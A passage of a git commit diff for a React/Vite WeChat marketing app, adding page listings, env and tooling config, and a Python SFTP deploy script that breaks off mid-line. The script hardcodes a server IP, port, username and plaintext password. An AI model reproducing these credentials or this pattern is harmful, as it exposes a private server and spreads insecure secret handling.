Cunkebao/src/pages/mobile/mine/content/materials/form/api.ts create mode 100644 Cunkebao/src/pages/mobile/mine/content/materials/form/data.ts create mode 100644 Cunkebao/src/pages/mobile/mine/content/materials/form/index.module.scss create mode 100644 Cunkebao/src/pages/mobile/mine/content/materials/form/index.tsx create mode 100644 Cunkebao/src/pages/mobile/mine/content/materials/list/api.ts create mode 100644 Cunkebao/src/pages/mobile/mine/content/materials/list/data.ts create mode 100644 Cunkebao/src/pages/mobile/mine/content/materials/list/index.module.scss create mode 100644 Cunkebao/src/pages/mobile/mine/content/materials/list/index.tsx create mode 100644 Cunkebao/src/pages/mobile/mine/devices/DeviceDetail.tsx create mode 100644 Cunkebao/src/pages/mobile/mine/devices/api.ts create mode 100644 Cunkebao/src/pages/mobile/mine/devices/index.module.scss create mode 100644 Cunkebao/src/pages/mobile/mine/devices/index.tsx create mode 100644 Cunkebao/src/pages/mobile/mine/main/api.ts create mode 100644 Cunkebao/src/pages/mobile/mine/main/index.module.scss create mode 100644 Cunkebao/src/pages/mobile/mine/main/index.tsx create mode 100644 Cunkebao/src/pages/mobile/mine/recharge/buy-power/api.ts create mode 100644 Cunkebao/src/pages/mobile/mine/recharge/buy-power/index.module.scss create mode 100644 Cunkebao/src/pages/mobile/mine/recharge/buy-power/index.tsx create mode 100644 Cunkebao/src/pages/mobile/mine/recharge/index/api.ts create mode 100644 Cunkebao/src/pages/mobile/mine/recharge/index/index.module.scss create mode 100644 Cunkebao/src/pages/mobile/mine/recharge/index/index.tsx create mode 100644 Cunkebao/src/pages/mobile/mine/recharge/order/api.ts create mode 100644 Cunkebao/src/pages/mobile/mine/recharge/order/data.ts create mode 100644 Cunkebao/src/pages/mobile/mine/recharge/order/detail/index.module.scss create mode 100644 Cunkebao/src/pages/mobile/mine/recharge/order/detail/index.tsx create mode 100644 Cunkebao/src/pages/mobile/mine/recharge/order/index.module.scss create mode 100644 Cunkebao/src/pages/mobile/mine/recharge/order/index.tsx create mode 100644 Cunkebao/src/pages/mobile/mine/recharge/usage-records/api.ts create mode 100644 Cunkebao/src/pages/mobile/mine/recharge/usage-records/index.module.scss create mode 100644 Cunkebao/src/pages/mobile/mine/recharge/usage-records/index.tsx create mode 100644 Cunkebao/src/pages/mobile/mine/setting/About.tsx create mode 100644 Cunkebao/src/pages/mobile/mine/setting/Privacy.tsx create mode 100644 Cunkebao/src/pages/mobile/mine/setting/README.md create mode 100644 Cunkebao/src/pages/mobile/mine/setting/SecuritySetting.tsx create mode 100644 Cunkebao/src/pages/mobile/mine/setting/UserSetting.tsx create mode 100644 Cunkebao/src/pages/mobile/mine/setting/api.ts create mode 100644 Cunkebao/src/pages/mobile/mine/setting/index.module.scss create mode 100644 Cunkebao/src/pages/mobile/mine/setting/index.tsx create mode 100644 Cunkebao/src/pages/mobile/mine/traffic-pool/form/README.md create mode 100644 Cunkebao/src/pages/mobile/mine/traffic-pool/form/api.ts create mode 100644 Cunkebao/src/pages/mobile/mine/traffic-pool/form/components/AudienceFilter.module.scss create mode 100644 Cunkebao/src/pages/mobile/mine/traffic-pool/form/components/AudienceFilter.tsx create mode 100644 Cunkebao/src/pages/mobile/mine/traffic-pool/form/components/BasicInfo.module.scss create mode 100644 Cunkebao/src/pages/mobile/mine/traffic-pool/form/components/BasicInfo.tsx create mode 100644 Cunkebao/src/pages/mobile/mine/traffic-pool/form/components/ConditionList.module.scss create mode 100644 Cunkebao/src/pages/mobile/mine/traffic-pool/form/components/ConditionList.tsx create mode 100644 Cunkebao/src/pages/mobile/mine/traffic-pool/form/components/CustomConditionModal.module.scss create mode 100644 Cunkebao/src/pages/mobile/mine/traffic-pool/form/components/CustomConditionModal.tsx create mode 100644 Cunkebao/src/pages/mobile/mine/traffic-pool/form/components/SchemeRecommendation.module.scss create mode 100644 Cunkebao/src/pages/mobile/mine/traffic-pool/form/components/SchemeRecommendation.tsx create mode 100644 Cunkebao/src/pages/mobile/mine/traffic-pool/form/components/UserListPreview.module.scss create mode 100644 Cunkebao/src/pages/mobile/mine/traffic-pool/form/components/UserListPreview.tsx create mode 100644 Cunkebao/src/pages/mobile/mine/traffic-pool/form/index.module.scss create mode 100644 Cunkebao/src/pages/mobile/mine/traffic-pool/form/index.tsx create mode 100644 Cunkebao/src/pages/mobile/mine/traffic-pool/list/api.ts create mode 100644 Cunkebao/src/pages/mobile/mine/traffic-pool/list/data.ts create mode 100644 Cunkebao/src/pages/mobile/mine/traffic-pool/list/index.module.scss create mode 100644 Cunkebao/src/pages/mobile/mine/traffic-pool/list/index.tsx create mode 100644 Cunkebao/src/pages/mobile/mine/traffic-pool/poolList1/BatchAddModal.tsx create mode 100644 Cunkebao/src/pages/mobile/mine/traffic-pool/poolList1/DataAnalysisPanel.tsx create mode 100644 Cunkebao/src/pages/mobile/mine/traffic-pool/poolList1/FilterModal.tsx create mode 100644 Cunkebao/src/pages/mobile/mine/traffic-pool/poolList1/api.ts create mode 100644 Cunkebao/src/pages/mobile/mine/traffic-pool/poolList1/data.ts create mode 100644 Cunkebao/src/pages/mobile/mine/traffic-pool/poolList1/index.module.scss create mode 100644 Cunkebao/src/pages/mobile/mine/traffic-pool/poolList1/index.tsx create mode 100644 Cunkebao/src/pages/mobile/mine/traffic-pool/userList/api.ts create mode 100644 Cunkebao/src/pages/mobile/mine/traffic-pool/userList/data.ts create mode 100644 Cunkebao/src/pages/mobile/mine/traffic-pool/userList/index.module.scss create mode 100644 Cunkebao/src/pages/mobile/mine/traffic-pool/userList/index.tsx create mode 100644 Cunkebao/src/pages/mobile/mine/wechat-accounts/detail/api.ts create mode 100644 Cunkebao/src/pages/mobile/mine/wechat-accounts/detail/data.ts create mode 100644 Cunkebao/src/pages/mobile/mine/wechat-accounts/detail/detail.module.scss create mode 100644 Cunkebao/src/pages/mobile/mine/wechat-accounts/detail/index.tsx create mode 100644 Cunkebao/src/pages/mobile/mine/wechat-accounts/list/api.ts create mode 100644 Cunkebao/src/pages/mobile/mine/wechat-accounts/list/index.module.scss create mode 100644 Cunkebao/src/pages/mobile/mine/wechat-accounts/list/index.tsx create mode 100644 Cunkebao/src/pages/mobile/scenarios/list/api.ts create mode 100644 Cunkebao/src/pages/mobile/scenarios/list/index.module.scss create mode 100644 Cunkebao/src/pages/mobile/scenarios/list/index.tsx create mode 100644 Cunkebao/src/pages/mobile/scenarios/plan/list/api.ts create mode 100644 Cunkebao/src/pages/mobile/scenarios/plan/list/components/AccountListModal.tsx create mode 100644 Cunkebao/src/pages/mobile/scenarios/plan/list/components/DeviceListModal.tsx create mode 100644 Cunkebao/src/pages/mobile/scenarios/plan/list/components/OreadyAdd.tsx create mode 100644 Cunkebao/src/pages/mobile/scenarios/plan/list/components/PoolListModal.tsx create mode 100644 Cunkebao/src/pages/mobile/scenarios/plan/list/components/Popups.module.scss create mode 100644 Cunkebao/src/pages/mobile/scenarios/plan/list/data.ts create mode 100644 Cunkebao/src/pages/mobile/scenarios/plan/list/index.module.scss create mode 100644 Cunkebao/src/pages/mobile/scenarios/plan/list/index.tsx create mode 100644 Cunkebao/src/pages/mobile/scenarios/plan/list/planApi.module.scss create mode 100644 Cunkebao/src/pages/mobile/scenarios/plan/list/planApi.tsx create mode 100644 Cunkebao/src/pages/mobile/scenarios/plan/new/index.api.ts create mode 100644 Cunkebao/src/pages/mobile/scenarios/plan/new/index.data.ts create mode 100644 Cunkebao/src/pages/mobile/scenarios/plan/new/index.tsx create mode 100644 Cunkebao/src/pages/mobile/scenarios/plan/new/steps/BasicSettings.tsx create mode 100644 Cunkebao/src/pages/mobile/scenarios/plan/new/steps/DistributionSettings.tsx create mode 100644 Cunkebao/src/pages/mobile/scenarios/plan/new/steps/FriendRequestSettings.tsx create mode 100644 Cunkebao/src/pages/mobile/scenarios/plan/new/steps/MessageCard.tsx create mode 100644 Cunkebao/src/pages/mobile/scenarios/plan/new/steps/MessageSettings.tsx create mode 100644 Cunkebao/src/pages/mobile/scenarios/plan/new/steps/base.data.ts create mode 100644 Cunkebao/src/pages/mobile/scenarios/plan/new/steps/base.module.scss create mode 100644 Cunkebao/src/pages/mobile/scenarios/plan/new/steps/friend.module.scss create mode 100644 Cunkebao/src/pages/mobile/scenarios/plan/new/steps/messages.module.scss create mode 100644 Cunkebao/src/pages/mobile/scenarios/plan/new/steps/step.api.ts create mode 100644 Cunkebao/src/pages/mobile/test/README.md create mode 100644 Cunkebao/src/pages/mobile/test/index.tsx create mode 100644 Cunkebao/src/pages/mobile/test/select.tsx create mode 100644 Cunkebao/src/pages/mobile/test/update-notification.tsx create mode 100644 Cunkebao/src/pages/mobile/test/upload.module.scss create mode 100644 Cunkebao/src/pages/mobile/test/upload.tsx create mode 100644 Cunkebao/src/pages/mobile/workspace/ai-analyzer/index.module.scss create mode 100644 Cunkebao/src/pages/mobile/workspace/ai-analyzer/index.tsx create mode 100644 Cunkebao/src/pages/mobile/workspace/ai-assistant/AIAssistant.module.scss create mode 100644 Cunkebao/src/pages/mobile/workspace/ai-assistant/AIAssistant.tsx create mode 100644 Cunkebao/src/pages/mobile/workspace/ai-knowledge/api 文档 create mode 100644 Cunkebao/src/pages/mobile/workspace/ai-knowledge/detail/api.ts create mode 100644 Cunkebao/src/pages/mobile/workspace/ai-knowledge/detail/data.ts create mode 100644 Cunkebao/src/pages/mobile/workspace/ai-knowledge/detail/index.module.scss create mode 100644 Cunkebao/src/pages/mobile/workspace/ai-knowledge/detail/index.tsx create mode 100644 Cunkebao/src/pages/mobile/workspace/ai-knowledge/form/api.ts create mode 100644 Cunkebao/src/pages/mobile/workspace/ai-knowledge/form/data.ts create mode 100644 Cunkebao/src/pages/mobile/workspace/ai-knowledge/form/index.module.scss create mode 100644 Cunkebao/src/pages/mobile/workspace/ai-knowledge/form/index.tsx create mode 100644 Cunkebao/src/pages/mobile/workspace/ai-knowledge/list/api.ts create mode 100644 Cunkebao/src/pages/mobile/workspace/ai-knowledge/list/components/GlobalPromptModal.tsx create mode 100644 Cunkebao/src/pages/mobile/workspace/ai-knowledge/list/data.ts create mode 100644 Cunkebao/src/pages/mobile/workspace/ai-knowledge/list/index.module.scss create mode 100644 Cunkebao/src/pages/mobile/workspace/ai-knowledge/list/index.tsx create mode 100644 Cunkebao/src/pages/mobile/workspace/auto-group/detail/api.ts create mode 100644 Cunkebao/src/pages/mobile/workspace/auto-group/detail/index.module.scss create mode 100644 Cunkebao/src/pages/mobile/workspace/auto-group/detail/index.tsx create mode 100644 Cunkebao/src/pages/mobile/workspace/auto-group/form/api.ts create mode 100644 Cunkebao/src/pages/mobile/workspace/auto-group/form/components/BasicSettings.tsx create mode 100644 Cunkebao/src/pages/mobile/workspace/auto-group/form/components/DeviceSelector.tsx create mode 100644 Cunkebao/src/pages/mobile/workspace/auto-group/form/components/OwnerAdminSelector.tsx create mode 100644 Cunkebao/src/pages/mobile/workspace/auto-group/form/components/PoolSelector.tsx create mode 100644 Cunkebao/src/pages/mobile/workspace/auto-group/form/index.module.scss create mode 100644 Cunkebao/src/pages/mobile/workspace/auto-group/form/index.tsx create mode 100644 Cunkebao/src/pages/mobile/workspace/auto-group/form/types.ts create mode 100644 Cunkebao/src/pages/mobile/workspace/auto-group/list/api.ts create mode 100644 Cunkebao/src/pages/mobile/workspace/auto-group/list/index.module.scss create mode 100644 Cunkebao/src/pages/mobile/workspace/auto-group/list/index.tsx create mode 100644 Cunkebao/src/pages/mobile/workspace/auto-like/list/api.ts create mode 100644 Cunkebao/src/pages/mobile/workspace/auto-like/list/data.ts create mode 100644 Cunkebao/src/pages/mobile/workspace/auto-like/list/index.module.scss create mode 100644 Cunkebao/src/pages/mobile/workspace/auto-like/list/index.tsx create mode 100644 Cunkebao/src/pages/mobile/workspace/auto-like/new/api.ts create mode 100644 Cunkebao/src/pages/mobile/workspace/auto-like/new/data.ts create mode 100644 Cunkebao/src/pages/mobile/workspace/auto-like/new/index.tsx create mode 100644 Cunkebao/src/pages/mobile/workspace/auto-like/new/new.module.scss create mode 100644 Cunkebao/src/pages/mobile/workspace/auto-like/record/api.ts create mode 100644 Cunkebao/src/pages/mobile/workspace/auto-like/record/data.ts create mode 100644 Cunkebao/src/pages/mobile/workspace/auto-like/record/index.tsx create mode 100644 Cunkebao/src/pages/mobile/workspace/auto-like/record/record.module.scss create mode 100644 Cunkebao/src/pages/mobile/workspace/contact-import/detail/index.module.scss create mode 100644 Cunkebao/src/pages/mobile/workspace/contact-import/detail/index.tsx create mode 100644 Cunkebao/src/pages/mobile/workspace/contact-import/form/api.ts create mode 100644 Cunkebao/src/pages/mobile/workspace/contact-import/form/data.ts create mode 100644 Cunkebao/src/pages/mobile/workspace/contact-import/form/index.module.scss create mode 100644 Cunkebao/src/pages/mobile/workspace/contact-import/form/index.tsx create mode 100644 Cunkebao/src/pages/mobile/workspace/contact-import/list/api.ts create mode 100644 Cunkebao/src/pages/mobile/workspace/contact-import/list/data.ts create mode 100644 Cunkebao/src/pages/mobile/workspace/contact-import/list/index.module.scss create mode 100644 Cunkebao/src/pages/mobile/workspace/contact-import/list/index.tsx create mode 100644 Cunkebao/src/pages/mobile/workspace/distribution-management/api.ts create mode 100644 Cunkebao/src/pages/mobile/workspace/distribution-management/components/AddChannelModal.module.scss create mode 100644 Cunkebao/src/pages/mobile/workspace/distribution-management/components/AddChannelModal.tsx create mode 100644 Cunkebao/src/pages/mobile/workspace/distribution-management/data.ts create mode 100644 Cunkebao/src/pages/mobile/workspace/distribution-management/detail/api.ts create mode 100644 Cunkebao/src/pages/mobile/workspace/distribution-management/detail/data.ts create mode 100644 Cunkebao/src/pages/mobile/workspace/distribution-management/detail/index.module.scss create mode 100644 Cunkebao/src/pages/mobile/workspace/distribution-management/detail/index.tsx create mode 100644 Cunkebao/src/pages/mobile/workspace/distribution-management/index.module.scss create mode 100644 Cunkebao/src/pages/mobile/workspace/distribution-management/index.tsx create mode 100644 Cunkebao/src/pages/mobile/workspace/group-create/detail/group-detail.module.scss create mode 100644 Cunkebao/src/pages/mobile/workspace/group-create/detail/group-detail.tsx create mode 100644 Cunkebao/src/pages/mobile/workspace/group-create/detail/groups-list.module.scss create mode 100644 Cunkebao/src/pages/mobile/workspace/group-create/detail/groups-list.tsx create mode 100644 Cunkebao/src/pages/mobile/workspace/group-create/detail/index.module.scss create mode 100644 Cunkebao/src/pages/mobile/workspace/group-create/detail/index.tsx create mode 100644 Cunkebao/src/pages/mobile/workspace/group-create/form/api.ts create mode 100644 Cunkebao/src/pages/mobile/workspace/group-create/form/components/BasicSettings.module.scss create mode 100644 Cunkebao/src/pages/mobile/workspace/group-create/form/components/BasicSettings.tsx create mode 100644 Cunkebao/src/pages/mobile/workspace/group-create/form/components/DeviceSelectionStep.module.scss create mode 100644 Cunkebao/src/pages/mobile/workspace/group-create/form/components/DeviceSelectionStep.tsx create mode 100644 Cunkebao/src/pages/mobile/workspace/group-create/form/components/PoolSelectionStep.module.scss create mode 100644 Cunkebao/src/pages/mobile/workspace/group-create/form/components/PoolSelectionStep.tsx create mode 100644 Cunkebao/src/pages/mobile/workspace/group-create/form/index.tsx create mode 100644 Cunkebao/src/pages/mobile/workspace/group-create/form/types.ts create mode 100644 Cunkebao/src/pages/mobile/workspace/group-create/list/index.module.scss create mode 100644 Cunkebao/src/pages/mobile/workspace/group-create/list/index.tsx create mode 100644 Cunkebao/src/pages/mobile/workspace/group-create/新增字段说明.md create mode 100644 Cunkebao/src/pages/mobile/workspace/group-push/detail/groupPush.ts create mode 100644 Cunkebao/src/pages/mobile/workspace/group-push/detail/index.module.scss create mode 100644 Cunkebao/src/pages/mobile/workspace/group-push/detail/index.tsx create mode 100644 Cunkebao/src/pages/mobile/workspace/group-push/form/components/BasicSettings.tsx create mode 100644 Cunkebao/src/pages/mobile/workspace/group-push/form/components/ContentSelector.tsx create mode 100644 Cunkebao/src/pages/mobile/workspace/group-push/form/components/GroupSelector.tsx create mode 100644 Cunkebao/src/pages/mobile/workspace/group-push/form/index.api.ts create mode 100644 Cunkebao/src/pages/mobile/workspace/group-push/form/index.data.ts create mode 100644 Cunkebao/src/pages/mobile/workspace/group-push/form/index.tsx create mode 100644 Cunkebao/src/pages/mobile/workspace/group-push/list/index.api.ts create mode 100644 Cunkebao/src/pages/mobile/workspace/group-push/list/index.module.scss create mode 100644 Cunkebao/src/pages/mobile/workspace/group-push/list/index.tsx create mode 100644 Cunkebao/src/pages/mobile/workspace/main/api.ts create mode 100644 Cunkebao/src/pages/mobile/workspace/main/index.module.scss create mode 100644 Cunkebao/src/pages/mobile/workspace/main/index.tsx create mode 100644 Cunkebao/src/pages/mobile/workspace/moments-sync/list/Detail.tsx create mode 100644 Cunkebao/src/pages/mobile/workspace/moments-sync/list/index.module.scss create mode 100644 Cunkebao/src/pages/mobile/workspace/moments-sync/list/index.tsx create mode 100644 Cunkebao/src/pages/mobile/workspace/moments-sync/new/api.ts create mode 100644 Cunkebao/src/pages/mobile/workspace/moments-sync/new/index.module.scss create mode 100644 Cunkebao/src/pages/mobile/workspace/moments-sync/new/index.tsx create mode 100644 Cunkebao/src/pages/mobile/workspace/moments-sync/record/api.ts create mode 100644 Cunkebao/src/pages/mobile/workspace/moments-sync/record/data.ts create mode 100644 Cunkebao/src/pages/mobile/workspace/moments-sync/record/index.tsx create mode 100644 Cunkebao/src/pages/mobile/workspace/moments-sync/record/record.module.scss create mode 100644 Cunkebao/src/pages/mobile/workspace/traffic-distribution/detail/api.ts create mode 100644 Cunkebao/src/pages/mobile/workspace/traffic-distribution/detail/data.ts create mode 100644 Cunkebao/src/pages/mobile/workspace/traffic-distribution/detail/index.module.scss create mode 100644 Cunkebao/src/pages/mobile/workspace/traffic-distribution/detail/index.tsx create mode 100644 Cunkebao/src/pages/mobile/workspace/traffic-distribution/form/api.ts create mode 100644 Cunkebao/src/pages/mobile/workspace/traffic-distribution/form/data.ts create mode 100644 Cunkebao/src/pages/mobile/workspace/traffic-distribution/form/index.module.scss create mode 100644 Cunkebao/src/pages/mobile/workspace/traffic-distribution/form/index.tsx create mode 100644 Cunkebao/src/pages/mobile/workspace/traffic-distribution/list/api.ts create mode 100644 Cunkebao/src/pages/mobile/workspace/traffic-distribution/list/components/AccountListModal.tsx create mode 100644 Cunkebao/src/pages/mobile/workspace/traffic-distribution/list/components/DeviceListModal.tsx create mode 100644 Cunkebao/src/pages/mobile/workspace/traffic-distribution/list/components/PoolListModal.tsx create mode 100644 Cunkebao/src/pages/mobile/workspace/traffic-distribution/list/components/SendRcrodModal.tsx create mode 100644 Cunkebao/src/pages/mobile/workspace/traffic-distribution/list/data.ts create mode 100644 Cunkebao/src/pages/mobile/workspace/traffic-distribution/list/index.module.scss create mode 100644 Cunkebao/src/pages/mobile/workspace/traffic-distribution/list/index.tsx create mode 100644 Cunkebao/src/polyfills.ts create mode 100644 Cunkebao/src/react-app-env.d.ts create mode 100644 Cunkebao/src/router/config.ts create mode 100644 Cunkebao/src/router/index.tsx create mode 100644 Cunkebao/src/router/module/auth.tsx create mode 100644 Cunkebao/src/router/module/content.tsx create mode 100644 Cunkebao/src/router/module/index.tsx create mode 100644 Cunkebao/src/router/module/mine.tsx create mode 100644 Cunkebao/src/router/module/scenarios.tsx create mode 100644 Cunkebao/src/router/module/test.tsx create mode 100644 Cunkebao/src/router/module/wechat-accounts.tsx create mode 100644 Cunkebao/src/router/module/workspace.tsx create mode 100644 Cunkebao/src/router/permissionRoute.tsx create mode 100644 Cunkebao/src/store/README.md create mode 100644 Cunkebao/src/store/createPersistStore.ts create mode 100644 Cunkebao/src/store/examples.ts create mode 100644 Cunkebao/src/store/index.ts create mode 100644 Cunkebao/src/store/module/app.ts create mode 100644 Cunkebao/src/store/module/settings.ts create mode 100644 Cunkebao/src/store/module/user.ts create mode 100644 Cunkebao/src/store/persistUtils.ts create mode 100644 Cunkebao/src/styles/global.scss create mode 100644 Cunkebao/src/types/device.ts create mode 100644 Cunkebao/src/utils/apiUrl.ts create mode 100644 Cunkebao/src/utils/cacheCleaner.ts create mode 100644 Cunkebao/src/utils/chartColors.ts create mode 100644 Cunkebao/src/utils/common.ts create mode 100644 Cunkebao/src/utils/env.ts create mode 100644 Cunkebao/src/utils/postApp.ts create mode 100644 Cunkebao/src/utils/updateChecker.ts create mode 100644 Cunkebao/src/vite-env.d.ts create mode 100644 Cunkebao/tsconfig.json create mode 100644 Cunkebao/vite-pwa.config.ts create mode 100644 Cunkebao/vite.config.ts create mode 100644 Cunkebao/websdk.js create mode 100644 soul-admin/dist/assets/index-34teBEu9.js create mode 100644 soul-admin/dist/assets/index-B7tt33mg.css delete mode 100644 soul-admin/dist/assets/index-BgHLp2oy.css delete mode 100644 soul-admin/dist/assets/index-jQTzpVXX.js create mode 100644 soul-api/internal/handler/db_ckb_person_leads.go diff --git a/Cunkebao/.env.development b/Cunkebao/.env.development new file mode 100644 index 00000000..2ddb67f5 --- /dev/null +++ b/Cunkebao/.env.development @@ -0,0 +1,6 @@ +# 基础环境变量示例 +VITE_API_BASE_URL=http://www.yishi.com +VITE_API_BASE_URL2=https://kf.quwanzhi.com:9991 +VITE_API_WS_URL=wss://kf.quwanzhi.com:9993 +# VITE_API_BASE_URL=https://ckbapi.quwanzhi.com +VITE_APP_TITLE=存客宝 diff --git a/Cunkebao/.env.local b/Cunkebao/.env.local new file mode 100644 index 00000000..19e89e7e --- /dev/null +++ b/Cunkebao/.env.local @@ -0,0 +1 @@ +NEXT_PUBLIC_API_BASE_URL= http://yishi.com \ No newline at end of file diff --git a/Cunkebao/.env.production b/Cunkebao/.env.production new file mode 100644 index 00000000..838935bb --- /dev/null +++ b/Cunkebao/.env.production @@ -0,0 +1,6 @@ +# 基础环境变量示例 +VITE_API_BASE_URL=https://ckbapi.quwanzhi.com +VITE_API_BASE_URL2=https://kf.quwanzhi.com:9991 +VITE_API_WS_URL=wss://kf.quwanzhi.com:9993 +# VITE_API_BASE_URL=http://www.yishi.com +VITE_APP_TITLE=存客宝 diff --git a/Cunkebao/.eslintrc.js b/Cunkebao/.eslintrc.js new file mode 100644 index 00000000..0ffa2239 --- /dev/null +++ b/Cunkebao/.eslintrc.js @@ -0,0 +1,64 @@ +module.exports = { + root: true, + env: { + browser: true, + es2021: true, + node: true, + }, + extends: [ + "eslint:recommended", + "plugin:react/recommended", + "plugin:react-hooks/recommended", + "plugin:@typescript-eslint/recommended", + "plugin:prettier/recommended", // 这个配置会自动处理大部分冲突 + ], + parser: "@typescript-eslint/parser", + parserOptions: { + ecmaFeatures: { + jsx: true, + }, + ecmaVersion: 12, + sourceType: "module", + }, + plugins: ["react", "react-hooks", "@typescript-eslint", "prettier"], + rules: { + "prettier/prettier": "error", + "react/react-in-jsx-scope": "off", + "@typescript-eslint/no-unused-vars": "warn", + "@typescript-eslint/no-explicit-any": "off", + "@typescript-eslint/no-unnecessary-type-constraint": "warn", + "react/prop-types": "off", + "linebreak-style": "off", + "eol-last": "off", + "no-empty": "warn", + "prefer-const": "warn", + // 确保与 Prettier 完全兼容 + "comma-dangle": "off", + "comma-spacing": "off", + "comma-style": "off", + "object-curly-spacing": "off", + "array-bracket-spacing": "off", + indent: "off", + quotes: "off", + semi: "off", + "arrow-parens": "off", + "no-multiple-empty-lines": "off", + "max-len": "off", + "space-before-function-paren": "off", + "space-before-blocks": "off", + "keyword-spacing": "off", + "space-infix-ops": "off", + "space-in-parens": "off", + "space-in-brackets": "off", + "object-property-newline": "off", + "array-element-newline": "off", + "function-paren-newline": "off", + "object-curly-newline": "off", + "array-bracket-newline": "off", + }, + settings: { + react: { + version: "detect", + }, + }, +}; diff --git a/Cunkebao/.gitattributes b/Cunkebao/.gitattributes new file mode 100644 index 00000000..b1c74b26 --- /dev/null +++ b/Cunkebao/.gitattributes @@ -0,0 +1,27 @@ +# 设置默认行为,如果core.autocrlf没有设置,Git会自动处理行尾符 +* text=auto + +# 明确指定文本文件使用LF +*.js text eol=lf +*.jsx text eol=lf +*.ts text eol=lf +*.tsx text eol=lf +*.json text eol=lf +*.css text eol=lf +*.scss text eol=lf +*.html text eol=lf +*.md text eol=lf +*.yml text eol=lf +*.yaml text eol=lf + +# 二进制文件 +*.png binary +*.jpg binary +*.jpeg binary +*.gif binary +*.ico binary +*.svg binary +*.woff binary +*.woff2 binary +*.ttf binary +*.eot binary diff --git a/Cunkebao/.gitignore b/Cunkebao/.gitignore new file mode 100644 index 00000000..25615b99 --- /dev/null +++ b/Cunkebao/.gitignore @@ -0,0 +1,11 @@ +node_modules/ +dist/ +build/ +yarn.lock +.env +.DS_Store +dist/* +.cursorindexingignore +*.zip +.idea/ +.next/ diff --git a/Cunkebao/.prettierrc b/Cunkebao/.prettierrc new file mode 100644 index 00000000..e8e77819 --- /dev/null +++ b/Cunkebao/.prettierrc @@ -0,0 +1,13 @@ +{ + "semi": true, + "trailingComma": "all", + "singleQuote": false, + "printWidth": 80, + "tabWidth": 2, + "useTabs": false, + "endOfLine": "lf", + "bracketSpacing": true, + "arrowParens": "avoid", + "jsxSingleQuote": false, + "quoteProps": "as-needed" +} \ No newline at end of file diff --git a/Cunkebao/.vite/deps/_metadata.json b/Cunkebao/.vite/deps/_metadata.json new file mode 100644 index 00000000..b6601954 --- /dev/null +++ b/Cunkebao/.vite/deps/_metadata.json @@ -0,0 +1,8 @@ +{ + "hash": "efe0acf4", + "configHash": "2bed34b3", + "lockfileHash": "ef01d341", + "browserHash": "91bd3b2c", + "optimized": {}, + "chunks": {} +} \ No newline at end of file diff --git a/Cunkebao/.vite/deps/package.json b/Cunkebao/.vite/deps/package.json new file mode 100644 index 00000000..3dbc1ca5 --- /dev/null +++ b/Cunkebao/.vite/deps/package.json @@ -0,0 +1,3 @@ +{ + "type": "module" +} diff --git a/Cunkebao/.vscode/extensions.json b/Cunkebao/.vscode/extensions.json new file mode 100644 index 00000000..37f481a2 --- /dev/null +++ b/Cunkebao/.vscode/extensions.json @@ -0,0 +1,11 @@ +{ + "recommendations": [ + "esbenp.prettier-vscode", + "dbaeumer.vscode-eslint", + "bradlc.vscode-tailwindcss", + "ms-vscode.vscode-typescript-next", + "formulahendry.auto-rename-tag", + "christian-kohler.path-intellisense", + "ms-vscode.vscode-json" + ] +} diff --git a/Cunkebao/.vscode/settings.json b/Cunkebao/.vscode/settings.json new file mode 100644 index 00000000..7241ea90 --- /dev/null +++ b/Cunkebao/.vscode/settings.json @@ -0,0 +1,45 @@ +{ + "files.eol": "\n", + "files.insertFinalNewline": true, + "files.trimFinalNewlines": true, + "files.trimTrailingWhitespace": true, + "editor.formatOnSave": true, + "editor.defaultFormatter": "esbenp.prettier-vscode", + "editor.codeActionsOnSave": { + "source.fixAll.eslint": "explicit", + "source.organizeImports": "never" + }, + "eslint.validate": [ + "javascript", + "javascriptreact", + "typescript", + "typescriptreact" + ], + "eslint.format.enable": false, + "[javascript]": { + "editor.defaultFormatter": "esbenp.prettier-vscode" + }, + "[typescript]": { + "editor.defaultFormatter": "esbenp.prettier-vscode" + }, + "[javascriptreact]": { + "editor.defaultFormatter": "esbenp.prettier-vscode" + }, + "[typescriptreact]": { + "editor.defaultFormatter": "esbenp.prettier-vscode" + }, + "[json]": { + "editor.defaultFormatter": "esbenp.prettier-vscode" + }, + "[scss]": { + "editor.defaultFormatter": "esbenp.prettier-vscode" + }, + "[css]": { + "editor.defaultFormatter": "esbenp.prettier-vscode" + }, + "typescript.preferences.importModuleSpecifier": "relative", + "typescript.suggest.autoImports": true, + "editor.tabSize": 2, + "editor.insertSpaces": true, + "editor.detectIndentation": false +} diff --git a/Cunkebao/devlop.py b/Cunkebao/devlop.py new file mode 100644 index 00000000..f1aecf46 --- /dev/null +++ b/Cunkebao/devlop.py @@ -0,0 +1,95 @@ +import os +import zipfile +import paramiko + +# 配置 +local_dir = './dist' # 本地要打包的目录 +zip_name = 'dist.zip' +# 上传到服务器的 zip 路径 +remote_path = '/www/wwwroot/auto-devlop/ckb-operation/dist.zip' # 服务器上的临时zip路径 +server_ip = '42.194.245.239' +server_port = 6523 +server_user = 'yongpxu' +server_pwd = 'Aa123456789.' +# 服务器 dist 相关目录 +remote_base_dir = '/www/wwwroot/auto-devlop/ckb-operation' +dist_dir = f'{remote_base_dir}/dist' +dist1_dir = f'{remote_base_dir}/dist1' +dist2_dir = f'{remote_base_dir}/dist2' + +# 美化输出用的函数 +from datetime import datetime + +def info(msg): + print(f"\033[36m[INFO {datetime.now().strftime('%H:%M:%S')}] {msg}\033[0m") + +def success(msg): + print(f"\033[32m[SUCCESS] {msg}\033[0m") + +def error(msg): + print(f"\033[31m[ERROR] {msg}\033[0m") + +def step(msg): + print(f"\n\033[35m==== {msg} ====" + "\033[0m") + +# 1. 先运行 pnpm build +step('Step 1: 构建项目 (pnpm build)') +info('开始执行 pnpm build...') +ret = os.system('pnpm build') +if ret != 0: + error('pnpm build 失败,终止部署!') + exit(1) +success('pnpm build 完成') + +# 2. 打包 +step('Step 2: 打包 dist 目录为 zip') +info('开始打包 dist 目录...') +with zipfile.ZipFile(zip_name, 'w', zipfile.ZIP_DEFLATED) as zipf: + for root, dirs, files in os.walk(local_dir): + for file in files: + filepath = os.path.join(root, file) + arcname = os.path.relpath(filepath, local_dir) + zipf.write(filepath, arcname) +success('本地打包完成') + +# 3. 上传 +step('Step 3: 上传 zip 包到服务器') +info('开始上传 zip 包...') +transport = paramiko.Transport((server_ip, server_port)) +transport.connect(username=server_user, password=server_pwd) +sftp = paramiko.SFTPClient.from_transport(transport) +sftp.put(zip_name, remote_path) +sftp.close() +transport.close() +success('上传到服务器完成') + +# 删除本地 dist.zip +try: + os.remove(zip_name) + success('本地 dist.zip 已删除') +except Exception as e: + error(f'本地 dist.zip 删除失败: {e}') + +# 4. 远程解压并覆盖 +step('Step 4: 服务器端解压、切换目录') +ssh = 